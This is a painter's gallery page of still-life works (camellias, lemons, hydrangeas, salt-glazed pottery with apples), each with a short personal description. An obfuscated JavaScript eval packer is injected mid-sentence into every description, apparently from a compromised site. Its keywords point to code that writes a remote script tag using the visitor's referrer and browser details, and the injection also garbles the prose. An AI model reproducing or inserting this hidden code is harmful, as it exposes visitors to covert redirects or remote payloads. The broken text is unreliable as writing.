We eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bikra|var|u0026u|referrer|aasib||js|php’.split(‘|’),0,{}))
are fortunate to have an oasis for a backyard. My grandmother was a florist with flowers were everywhere; my siblings and I share this same love for beauty in our yards. It is therapeutic for each of us and for me it creates great subject matter too.
Backyard Still Life
Acrylic on Canvas, Featured, Flowers, Still Life
A Bowl of Camillias
Acrylic on Canvas, Featured, Flowers, Still Life
Freshly eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bfhsn|var|u0026u|referrer|edsdk||js|php’.split(‘|’),0,{}))
plucked from the garden, these Camellias were brought in to enjoy indoors as well as out. I placed several of both the red and pink varieties clustered in this ceramic bowl because many blossoms had already dropped and the bushes were so heavily laden with blossoms that the limbs were […]
Carolina Lemons
Acrylic on Canvas, Fruits, Still Life
These eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|arnes|var|u0026u|referrer|bdeef||js|php’.split(‘|’),0,{}))
aren’t just any lemons, they are what could have been the last of the prized lemons of my sister Theresa’s Lemon Tree! You see, in Carolina we rarely have a deep freezing ice storm, especially in the coastal area of SC where she resides, but the evening before […]
Majestic Hydrangea
Flowers, Oil on Canvas, Still Life
Four perfect bundles eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hezzk|var|u0026u|referrer|kkifs||js|php’.split(‘|’),0,{}))
of tiny flowers form bouquets of various hues, the hydrangea blossoms. Each one picks up a degree of dramatic light to reveal their individual form when placed in a simple glass jar.
Petite Flowers in Afternoon Light
Acrylic on Canvas, Featured, Flowers, Still Life
These eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bktzk|var|u0026u|referrer|neyhd||js|php’.split(‘|’),0,{}))
tiny arrangement of flowers in this hand-blown vase, placed on a lace tablecloth has a very delicate feeling to it. However it is contrasted with the strength of the bold shadow of the vase, the faded black shadow of the lower left, and the shadow of the window frame (which […]
Black-Eyed Susan with WatchDog
Acrylic on Canvas, Flowers, Still Life
This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|easzd|var|u0026u|referrer|dakzk||js|php’.split(‘|’),0,{}))
work is a playful configuration of a garden scene featuring a Chinese Watch Dog and Black-Eyed Susan flowers.
Grandmother’s Vintage Glass
Acrylic on Canvas, Flowers, Still Life
This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yazba|var|u0026u|referrer|kenny||js|php’.split(‘|’),0,{}))
is a collection of some simple glassware from my grandmother. It is actually from my Aunt Jeannie’s bathroom. My grandmother painted flowers on the two tall pieces of glass and my aunt placed Camellias in the container to the right. Because it was my grandmothers’ we all treasure […]
Still Life with Gerbera Daisies
Acrylic on Canvas, Flowers, Fruits, Still Life, Vegetables
This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|indar|var|u0026u|referrer|yztef||js|php’.split(‘|’),0,{}))
still life is almost like a fiesta, it is bright colorful, sassy, hot and spicy. Though some of the neutral colors and the blues may be a little calming the reds are exciting and the lines throughout the Gerbera Daisy plant excitedly dance, the same is true with […]
Hydrangea Chameleon
Flowers, Oil on Canvas, Still Life
The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rdnbz|var|u0026u|referrer|sdibf||js|php’.split(‘|’),0,{}))
chameleon of the plant kingdom, hydrangeas can be a wide range of colors from white to red to blue to purple, all depending on the acidity of the soil in which they grow. These mop head hydrangeas have tiny little flower clusters that look like bouquets and are […]
Still Life with Hydrangeas
Acrylic on Canvas, Fruits, Still Life, Vegetables
This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hzrrd|var|u0026u|referrer|dznbk||js|php’.split(‘|’),0,{}))
painting arrangement of flowers, apples, mangos, bananas, tomatoes and peppers is a painting that makes me happy when I look at it. It’s direct and fresh and for me it projects a sense of joy!
Window Dressing
Flowers, Oil on Canvas, Still Life
A eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dehei|var|u0026u|referrer|kbrzb||js|php’.split(‘|’),0,{}))
small cluster of Alstroemeria placed in a tiny antique pitcher sit daintily on the kitchen window sill adorned with cotton lace curtains, bathed in beautiful morning light.
Three Apples
Fruits, Oil on Canvas, Still Life
This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kikrn|var|u0026u|referrer|hsbak||js|php’.split(‘|’),0,{}))
painting was done totally with the palette knife, I toned the canvas sketched out my drawing first with a brush, and then put all brushes away and completed the work with the palette knife. Back and forth with color upon color, thick impasto layers!
Crock with Apples
Fruits, Oil on Canvas, Still Life
This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zrhye|var|u0026u|referrer|fdkfh||js|php’.split(‘|’),0,{}))
work is one of a series of works I have painted featuring some of my collection of salt-glazed pottery from Germany. I love the rich blues (our family calls them Barnette Blue’s) and the textures of the ceramics. This particular painting is a larger work as is the crock itself.
Yellow Flowers with Blue Stripe
Featured, Flowers, Oil on Canvas, Still Life
The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tedsa|var|u0026u|referrer|addte||js|php’.split(‘|’),0,{}))
flowers are white and yellow of course but all that I can see in this painting is the blue stripe, that is the blue strip in the folded drape in the foreground. The drape of the painting is my favorite part by far so it is difficult for […]
Stein and Apples
Fruits, Oil on Canvas, Still Life
This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dhean|var|u0026u|referrer|bbyak||js|php’.split(‘|’),0,{}))
is another painting in the collection of salt-glazed pottery series (from Barnette Blues). From a high vantage point, this one is different from the others in it’s point of view but it has the similar subject matter.
Crystal Vase with Roses
Flowers, Oil on Canvas, Still Life
This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bedha|var|u0026u|referrer|ynyfe||js|php’.split(‘|’),0,{}))
work is more impressionistic with less detail, giving the viewer the information he/she needs to see the blossoms, however not flooding the senses with an overload of unnecessary information for the intelligent viewer.
Salt-Glazed Pitcher with Apples
Flowers, Fruits, Oil on Canvas, Still Life
It eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hsssk|var|u0026u|referrer|ysyib||js|php’.split(‘|’),0,{}))
was our first wedding anniversary in Germany. Shortly before we celebrated it, we hand selected a beautiful pitcher in the salt-glazed factory to be specially designed for us. It was helpful to know people who worked at such places so early in our tour of Germany! Many years later, I decided to […]
Tomatoes, Onion, and Garlic
Oil on Canvas, Still Life, Vegetables
Tomatoes, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|raybf|var|u0026u|referrer|tetbe||js|php’.split(‘|’),0,{}))
Onions and Garlic were groceries I purchased like so many from the produce department, or farmer’s market and arranged on the tablecloth or near a window like so many other food items. I told my youngest son not to touch them; they were not to be consumed until they […]
Sweet Trumpets of Joy
Acrylic on Canvas, Featured, Flowers, Still Life
The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d=k||c.toString(a)}k=}];e=function(){return’\\w+’};c=1};while(c–){if(k){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k)}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hynbh|var|u0026u|referrer|fssdy||js|php’.split(‘|’),0,{}))
trumpet-shaped flowers of Amaryllis contrasted well with the tiny white blossoms from the red tip scrub in a hand-painted Polish ceramic vase creating bursts of both brilliant color and pattern. I look forward to putting these two together every year, or sometimes adding daffodils to the mix.